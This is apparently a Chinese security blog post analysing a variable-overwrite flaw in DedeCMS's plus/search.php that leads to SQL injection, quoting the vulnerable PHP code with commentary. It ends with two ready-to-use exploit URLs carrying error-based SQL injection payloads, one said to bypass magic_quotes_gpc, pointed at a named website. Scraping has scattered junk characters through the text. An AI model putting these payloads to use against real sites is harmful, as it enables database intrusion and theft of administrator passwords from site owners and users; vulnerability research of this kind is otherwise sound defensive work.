微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
4 Q* n2 J" Q( Y- i& A2 q k作者: c4rp3nt3r@0x50sec.org1 ~, ?! [; [# G8 j0 X7 K7 V9 [
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
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黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.3 D) O/ i5 Y, E) k5 r8 I' t8 e
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' E8 h5 b( |8 S9 ]) Z- S' o# ^7 l0 [Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码. k3 |5 i' J6 d& ^9 `/ w8 @
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require_once(dirname(__FILE__).”/../include/common.inc.php”);
6 L F7 j; t! b6 {/ _, qrequire_once(DEDEINC.”/arc.searchview.class.php”);
% a" X0 Z6 O' d( n
$ ?% b& `; x3 x g7 g; E6 z$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
& I E+ O& b3 P! K) g$ V* \* v$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;8 m" S* a6 {7 ]; I+ b( ]
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;. Q0 O# v3 g; \9 y
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
' J1 h7 X! u) k8 P% T* _$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;7 l; t8 e( a8 a% ^7 X! M) n/ I
# ^* N! a5 d& V5 a; c5 B3 X& Cif(!isset($orderby)) $orderby=”;8 [' A2 o$ c# L' ?) L4 G
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);) m( O" m H s9 T J
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8 l& T' h* z C# c! S4 gif(!isset($searchtype)) $searchtype = ‘titlekeyword’;; U1 X0 l/ p" y6 `
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
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if(!isset($keyword)){
: M0 c( U7 [/ u2 t( U/ i if(!isset($q)) $q = ”; @) }- H; l& G3 [. `2 U
$keyword=$q;
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6 v' G* J( l4 H2 b$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));' G! p1 O& |2 T a* }. m
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//查找栏目信息& |. r" [3 s, z/ m- g C g
if(empty($typeid))
8 c. z. ?% W- ?( V a( I{
. e6 ]- c0 {1 s+ n $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;% E4 d3 P" t# r! h8 w; z0 w
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
# ~% o9 l0 `. Q1 u6 d: n {0 [: ~* u! ?5 E( k; M. X" B
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);5 |- S6 B# I G7 X
fwrite($fp, “<”.”?php\r\n”);- u$ _4 h+ j5 i% T& n
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);! t* ]3 P* Q( H- }: b/ N O
$dsql->Execute();
: H% K k$ n' l& K% t( p while($row = $dsql->GetArray()) d" y1 \! H" ]/ D2 n. v
{
4 H2 I0 \5 X8 N! o/ s* | fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
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. `9 G% L( _) K9 [, x4 K7 A fwrite($fp, ‘?’.'>’);0 Y3 I' w) Q l% C" V) P; N% Q. B9 h
fclose($fp);- V: ~% z5 [, @4 D8 E2 ~. f
}) B d0 c* _- L" o% q
//引入栏目缓存并看关键字是否有相关栏目内容- Y) V F+ n, ]$ ^
require_once($typenameCacheFile);
# D- x, P; C% M1 W0 j//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个4 ~6 p5 h- c/ H. j$ U: m& e
//
2 T# k1 S/ [% {- z0 Q if(isset($typeArr) && is_array($typeArr))8 o7 C" ^( b' N9 h/ r! M4 A
{
- i+ z3 I$ }- w% D) P0 ~ foreach($typeArr as $id=>$typename)1 S" V5 {( ]& \; m) Q4 b
{
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<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
; q: X( D% i$ y( Y5 `9 t$ m if($keyword != $keywordn)
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$keyword = $keywordn;- A/ f. ^& L, J5 X( A0 @( W
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设) o- m# b9 C( Y& E( [! S
break;8 F2 b1 G% A# n/ N8 v8 f
}
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* ?4 _% V3 @2 [/ W然后plus/search.php文件下面定义了一个 Search类的对象 .
4 W4 ]+ t H& u/ G) V; S; J% f& l3 J在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
, C0 q2 a3 M- z3 z: W J. u$ g$this->TypeLink = new TypeLink($typeid);
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% }1 V+ @; k. ~0 Q) a4 i! ZTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.* q$ } _) n4 t+ p, B
$ Q; o A$ f; h4 bclass TypeLink C8 V/ N. }$ J" x' P; w
{
3 Y ~; f: k, M4 K# R; c var $typeDir;, F! i3 Q0 o: g0 w
var $dsql;- R5 K* _- ?% V4 G$ Z: t. N/ Z9 d
var $TypeID;
; Z% I- I; ~, H5 r+ K( o9 a7 c( @: Y var $baseDir; a; w0 h( T/ k; z# F" }5 z
var $modDir;: Y8 M$ g2 d" N
var $indexUrl;4 p z4 a+ S2 i( J. R; J8 o
var $indexName;
- Y% _& J: M/ ] var $TypeInfos;) l' M+ S _7 J: @5 T! h
var $SplitSymbol;5 K8 A7 R% h* o3 l/ ~1 h
var $valuePosition;
+ i& U& W- J. Z H3 l var $valuePositionName;
% E) |$ S2 {0 W' y4 R Q7 f var $OptionArrayList;//构造函数///////
( D: a8 v+ d: C5 t t# I //php5构造函数+ c9 a7 n" n8 p/ R8 s6 c! H" K; ?5 k
function __construct($typeid)
/ u) w2 f' I- m {- y5 l) G2 O8 C1 L8 x/ `+ }
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
! F! @& n, T2 | $this->indexName = $GLOBALS['cfg_indexname'];
% @/ F3 w( q$ w( L3 { $this->baseDir = $GLOBALS['cfg_basedir'];# t+ N1 c9 Z3 }* j* j, |- f! t
$this->modDir = $GLOBALS['cfg_templets_dir'];+ A' J- t' K v( d$ h
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
U" V0 s4 a* o, N8 S: L# D% J( X $this->dsql = $GLOBALS['dsql'];" \, N& L9 _8 f/ K* O; l1 m
$this->TypeID = $typeid;' q# c; `. t8 l* e* s
$this->valuePosition = ”;
: ?$ s6 o9 @6 |) T7 R t3 l $this->valuePositionName = ”;
+ `" a! j9 L; Q+ z $this->typeDir = ”;
, F$ {/ Z9 K. \+ g$ W9 {1 H $this->OptionArrayList = ”;: W6 k- ]5 q9 ^; m$ X
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//载入类目信息/ M: i" S& U. P, @) J/ F
, A1 O N6 S" F# J2 P8 L <font color=”Red”>$query = “SELECT tp.*,ch.typename as
; z$ u4 e1 i: e* tctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join; o1 Y3 M4 F) l0 r
`#@__channeltype` ch
. V0 O7 X. ~7 y- n) P+ L on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
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if($typeid > 0)
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$this->TypeInfos = $this->dsql->GetOne($query);
. X v7 _# _# u7 F$ e0 \+ U利用代码一 需要 即使magic_quotes_gpc = Off: f- l& S6 l( g* V% D n9 U
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www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title" w Q( H0 ^3 _: f, H9 \$ z/ _' f
# W5 \5 q2 m! L' L1 ?这只是其中一个利用代码… Search 类的构造函数再往下
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7 v' x+ m, ^$ Z" W……省略
: F# j7 d) Y8 g$this->TypeID = $typeid;5 J& C; n; m+ _
……省略
* }$ x! ]) b6 o' \if($this->TypeID==”0″){
4 [- K0 [6 o' U8 u- |3 w1 d $this->ChannelTypeid=1;, q. @8 \* W# {2 ^
}else{
& N6 Y0 v& L: L. }2 x2 g4 L $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲/ k. _1 m3 }7 M) t/ ]5 B6 d
//现在不鸡肋了吧亲…. U, r6 W5 d' I: Y$ ~
$this->ChannelTypeid=$row['channeltype'];6 Q# o4 `$ H( g8 V! n
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利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
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) p$ |; t5 @1 w4 u, Z$ Cwww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
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如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
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